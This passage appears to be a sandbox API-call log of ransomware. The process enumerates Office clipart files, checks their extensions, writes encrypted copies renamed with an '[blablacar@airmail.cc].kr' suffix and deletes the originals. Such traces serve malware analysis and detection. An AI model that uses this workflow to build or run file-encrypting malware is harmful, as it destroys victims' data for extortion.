Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68 [0185.939] lstrlenW (lpString=".zip") returned 4 [0185.939] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0185.939] lstrlenW (lpString=".rar") returned 4 [0185.939] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0185.939] lstrlenW (lpString=".bz2") returned 4 [0185.939] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0185.939] lstrlenW (lpString=".7z") returned 3 [0185.939] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0185.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68 [0185.939] lstrlenW (lpString=".dbf") returned 4 [0185.939] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0185.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68 [0185.939] lstrlenW (lpString=".1cd") returned 4 [0185.939] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0185.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68 [0185.939] lstrlenW (lpString=".jpg") returned 4 [0185.939] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0185.939] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0185.939] lstrlenW (lpString="DD00297_.WMF") returned 12 [0185.939] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00297_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0185.940] GetFileSizeEx (in: hFile=0x4d8, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=40030) returned 1 [0185.940] CloseHandle (hObject=0x4d8) returned 1 [0185.940] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00297_.wmf")) returned 0x220 [0185.941] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00297_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0185.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00297_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0185.941] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.941] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00297_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0185.942] GetLastError () returned 0x0 [0185.942] ReadFile (in: hFile=0x4d8, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x9c5e, lpOverlapped=0x0) returned 1 [0186.122] WriteFile (in: hFile=0x4d4, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x9c60, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x9c60, lpOverlapped=0x0) returned 1 [0186.124] ReadFile (in: hFile=0x4d8, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0186.124] WriteFile (in: hFile=0x4d4, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0186.124] SetEndOfFile (hFile=0x4d4) returned 1 [0186.124] CloseHandle (hObject=0x4d4) returned 1 [0186.124] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0186.124] SetEndOfFile (hFile=0x4d8) returned 1 [0186.128] CloseHandle (hObject=0x4d8) returned 1 [0186.128] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0186.128] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00297_.wmf")) returned 1 [0186.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68 [0186.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68 [0186.129] lstrlenW (lpString=".doc") returned 4 [0186.129] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.129] lstrlenW (lpString=".docx") returned 5 [0186.129] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0186.129] lstrlenW (lpString=".pdf") returned 4 [0186.129] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.129] lstrlenW (lpString=".xls") returned 4 [0186.129] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.129] lstrlenW (lpString=".xlsx") returned 5 [0186.129] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0186.129] lstrlenW (lpString=".ppt") returned 4 [0186.129] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68 [0186.129] lstrlenW (lpString=".zip") returned 4 [0186.129] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.130] lstrlenW (lpString=".rar") returned 4 [0186.130] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.130] lstrlenW (lpString=".bz2") returned 4 [0186.130] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.130] lstrlenW (lpString=".7z") returned 3 [0186.130] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68 [0186.130] lstrlenW (lpString=".dbf") returned 4 [0186.130] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68 [0186.130] lstrlenW (lpString=".1cd") returned 4 [0186.130] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68 [0186.130] lstrlenW (lpString=".jpg") returned 4 [0186.130] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68 [0186.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68 [0186.130] lstrlenW (lpString=".doc") returned 4 [0186.130] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.130] lstrlenW (lpString=".docx") returned 5 [0186.130] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0186.130] lstrlenW (lpString=".pdf") returned 4 [0186.130] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.130] lstrlenW (lpString=".xls") returned 4 [0186.130] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.130] lstrlenW (lpString=".xlsx") returned 5 [0186.130] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0186.130] lstrlenW (lpString=".ppt") returned 4 [0186.130] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68 [0186.130] lstrlenW (lpString=".zip") returned 4 [0186.130] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.131] lstrlenW (lpString=".rar") returned 4 [0186.131] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.131] lstrlenW (lpString=".bz2") returned 4 [0186.131] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.131] lstrlenW (lpString=".7z") returned 3 [0186.131] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68 [0186.131] lstrlenW (lpString=".dbf") returned 4 [0186.131] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68 [0186.131] lstrlenW (lpString=".1cd") returned 4 [0186.131] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68 [0186.131] lstrlenW (lpString=".jpg") returned 4 [0186.131] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.131] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0186.131] lstrlenW (lpString="DD00437_.WMF") returned 12 [0186.131] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00437_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0186.132] GetFileSizeEx (in: hFile=0x4d8, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=1932) returned 1 [0186.132] CloseHandle (hObject=0x4d8) returned 1 [0186.132] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00437_.wmf")) returned 0x220 [0186.132] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00437_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0186.132] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00437_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0186.132] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0186.132] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0186.133] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00437_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0186.133] GetLastError () returned 0x0 [0186.133] ReadFile (in: hFile=0x4d8, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x78c, lpOverlapped=0x0) returned 1 [0186.135] WriteFile (in: hFile=0x4d4, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x790, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x790, lpOverlapped=0x0) returned 1 [0186.135] ReadFile (in: hFile=0x4d8, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0186.136] WriteFile (in: hFile=0x4d4, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0186.136] SetEndOfFile (hFile=0x4d4) returned 1 [0186.136] CloseHandle (hObject=0x4d4) returned 1 [0186.136] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0186.136] SetEndOfFile (hFile=0x4d8) returned 1 [0186.139] CloseHandle (hObject=0x4d8) returned 1 [0186.139] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0186.140] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00437_.wmf")) returned 1 [0186.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68 [0186.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68 [0186.140] lstrlenW (lpString=".doc") returned 4 [0186.140] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.140] lstrlenW (lpString=".docx") returned 5 [0186.140] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0186.140] lstrlenW (lpString=".pdf") returned 4 [0186.140] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.140] lstrlenW (lpString=".xls") returned 4 [0186.140] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.140] lstrlenW (lpString=".xlsx") returned 5 [0186.140] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0186.140] lstrlenW (lpString=".ppt") returned 4 [0186.140] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68 [0186.140] lstrlenW (lpString=".zip") returned 4 [0186.140] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.141] lstrlenW (lpString=".rar") returned 4 [0186.141] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.141] lstrlenW (lpString=".bz2") returned 4 [0186.141] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.141] lstrlenW (lpString=".7z") returned 3 [0186.141] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68 [0186.141] lstrlenW (lpString=".dbf") returned 4 [0186.141] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68 [0186.141] lstrlenW (lpString=".1cd") returned 4 [0186.141] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68 [0186.141] lstrlenW (lpString=".jpg") returned 4 [0186.141] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68 [0186.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68 [0186.141] lstrlenW (lpString=".doc") returned 4 [0186.141] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.141] lstrlenW (lpString=".docx") returned 5 [0186.141] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0186.141] lstrlenW (lpString=".pdf") returned 4 [0186.141] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.141] lstrlenW (lpString=".xls") returned 4 [0186.141] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.141] lstrlenW (lpString=".xlsx") returned 5 [0186.141] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0186.141] lstrlenW (lpString=".ppt") returned 4 [0186.141] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68 [0186.141] lstrlenW (lpString=".zip") returned 4 [0186.141] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.141] lstrlenW (lpString=".rar") returned 4 [0186.142] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.142] lstrlenW (lpString=".bz2") returned 4 [0186.142] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.142] lstrlenW (lpString=".7z") returned 3 [0186.142] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68 [0186.142] lstrlenW (lpString=".dbf") returned 4 [0186.142] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68 [0186.142] lstrlenW (lpString=".1cd") returned 4 [0186.142] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68 [0186.142] lstrlenW (lpString=".jpg") returned 4 [0186.142] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.142] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0186.142] lstrlenW (lpString="DD00448_.WMF") returned 12 [0186.142] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00448_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0186.143] GetFileSizeEx (in: hFile=0x4d8, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=2952) returned 1 [0186.143] CloseHandle (hObject=0x4d8) returned 1 [0186.143] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00448_.wmf")) returned 0x220 [0186.143] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00448_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0186.144] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00448_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0186.144] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0186.144] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0186.144] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00448_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0186.145] GetLastError () returned 0x0 [0186.145] ReadFile (in: hFile=0x4d8, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0xb88, lpOverlapped=0x0) returned 1 [0186.155] WriteFile (in: hFile=0x4d4, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xb90, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xb90, lpOverlapped=0x0) returned 1 [0186.156] ReadFile (in: hFile=0x4d8, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0186.156] WriteFile (in: hFile=0x4d4, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0186.156] SetEndOfFile (hFile=0x4d4) returned 1 [0186.157] CloseHandle (hObject=0x4d4) returned 1 [0186.157] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0186.157] SetEndOfFile (hFile=0x4d8) returned 1 [0186.159] CloseHandle (hObject=0x4d8) returned 1 [0186.159] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0186.160] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00448_.wmf")) returned 1 [0186.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68 [0186.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68 [0186.162] lstrlenW (lpString=".doc") returned 4 [0186.162] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.162] lstrlenW (lpString=".docx") returned 5 [0186.162] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0186.162] lstrlenW (lpString=".pdf") returned 4 [0186.162] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.163] lstrlenW (lpString=".xls") returned 4 [0186.163] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.163] lstrlenW (lpString=".xlsx") returned 5 [0186.163] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0186.163] lstrlenW (lpString=".ppt") returned 4 [0186.163] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68 [0186.163] lstrlenW (lpString=".zip") returned 4 [0186.163] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.163] lstrlenW (lpString=".rar") returned 4 [0186.163] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.163] lstrlenW (lpString=".bz2") returned 4 [0186.163] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.163] lstrlenW (lpString=".7z") returned 3 [0186.163] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68 [0186.163] lstrlenW (lpString=".dbf") returned 4 [0186.163] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68 [0186.163] lstrlenW (lpString=".1cd") returned 4 [0186.163] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68 [0186.163] lstrlenW (lpString=".jpg") returned 4 [0186.163] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68 [0186.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68 [0186.163] lstrlenW (lpString=".doc") returned 4 [0186.163] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.163] lstrlenW (lpString=".docx") returned 5 [0186.163] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0186.163] lstrlenW (lpString=".pdf") returned 4 [0186.163] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.163] lstrlenW (lpString=".xls") returned 4 [0186.164] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.164] lstrlenW (lpString=".xlsx") returned 5 [0186.164] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0186.164] lstrlenW (lpString=".ppt") returned 4 [0186.164] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68 [0186.164] lstrlenW (lpString=".zip") returned 4 [0186.164] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.164] lstrlenW (lpString=".rar") returned 4 [0186.164] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.164] lstrlenW (lpString=".bz2") returned 4 [0186.164] 